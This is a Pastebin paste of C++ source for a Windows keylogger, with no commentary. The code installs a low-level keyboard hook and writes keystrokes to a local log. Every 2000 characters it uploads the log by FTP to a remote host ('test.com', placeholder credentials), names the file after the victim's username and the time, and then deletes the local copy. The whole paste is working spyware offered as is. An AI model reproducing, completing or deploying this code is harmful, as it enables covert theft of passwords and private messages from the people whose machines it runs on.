Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <cstdlib>
- #include <iostream>
- #include <process.h>
- #include "KeyloggerInterface.h"
- using namespace std;
- struct LoggerThreadInfo
- {
- KeystrokeQueue* pQueue;
- HANDLE hKeystrokeReceived;
- };
- unsigned int LoggerThread( LoggerThreadInfo* pInfo );
- void _SetEvent( int iCode, unsigned int wParam, unsigned int lParam, void* pArgument );
- int main(int argc, char *argv[])
- {
- KeyloggerInterface kInterface;
- Keylogger TestLogger;
- KeystrokeQueue kqBuffer;
- HANDLE hKeystrokeReceived = CreateEvent( NULL, false, false, "_KEYSTROKE_RECEIVED_" );
- kInterface.SetKeylogger( &TestLogger );
- kInterface.SetKeystrokeBuffer( &kqBuffer );
- kInterface.AddPostHandler( _SetEvent, (void*)hKeystrokeReceived );
- LoggerThreadInfo Info;
- Info.hKeystrokeReceived = hKeystrokeReceived;
- Info.pQueue = &kqBuffer;
- _beginthread( (void(*)(void*))LoggerThread, 0, (void*)&Info );
- kInterface.SetLowLevelKeyboardHook();
- MSG msgMessages;
- while( GetMessage( &msgMessages, 0 ,0 ,0) );
- }
- void _SetEvent( int iCode, unsigned int wParam, unsigned int lParam, void* hKeystrokeReceived )
- {
- static unsigned int uiKeydownCount = 0;
- if( wParam == WM_KEYDOWN ) ++uiKeydownCount;
- if( uiKeydownCount == 1 )
- {
- SetEvent( (HANDLE)hKeystrokeReceived );
- uiKeydownCount = 0;
- }
- }
- unsigned int LoggerThread(LoggerThreadInfo* pInfo )
- {
- unsigned int uiLimit = 2000;
- std::string sData;
- unsigned int uiTotalCharsRead = 0;
- FILE* pFile = NULL;
- _OpenFile:
- pFile = fopen("log.txt","a+");
- while( true )
- {
- WaitForSingleObject( pInfo->hKeystrokeReceived, INFINITE );
- unsigned int uiCharsRead = pInfo->pQueue->Read( sData );
- uiTotalCharsRead += uiCharsRead;
- fwrite( sData.c_str(), sizeof(char), uiCharsRead, pFile );
- sData.clear();
- if( uiTotalCharsRead >= uiLimit )
- {
- fclose( pFile );
- FtpInfo Info;
- Info.sIpAddress = "test.com";
- Info.sUsername = "test";
- Info.sPassword = "test";
- std::string sRemoteFilename;
- DWORD dwUsernameLen = 100;
- char* pBuffer = new char[ dwUsernameLen + 1 ];
- memset( pBuffer, 0, dwUsernameLen + 1 );
- while( GetUserName( pBuffer, &dwUsernameLen ) != true )
- {
- delete [] pBuffer;
- dwUsernameLen += 100;
- pBuffer = new char[ dwUsernameLen + 1 ];
- memset( pBuffer, 0, dwUsernameLen + 1 );
- }
- sRemoteFilename += pBuffer;
- delete [] pBuffer;
- sRemoteFilename += "-";
- sRemoteFilename += "log";
- sRemoteFilename += GetDateAndTime();
- sRemoteFilename += ".txt";
- if( UploadFileToFtp( Info, "log.txt",sRemoteFilename ) == true )
- {
- DeleteFile("log.txt");
- uiTotalCharsRead = 0;
- }
- goto _OpenFile;
- }
- }
- fclose(pFile);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement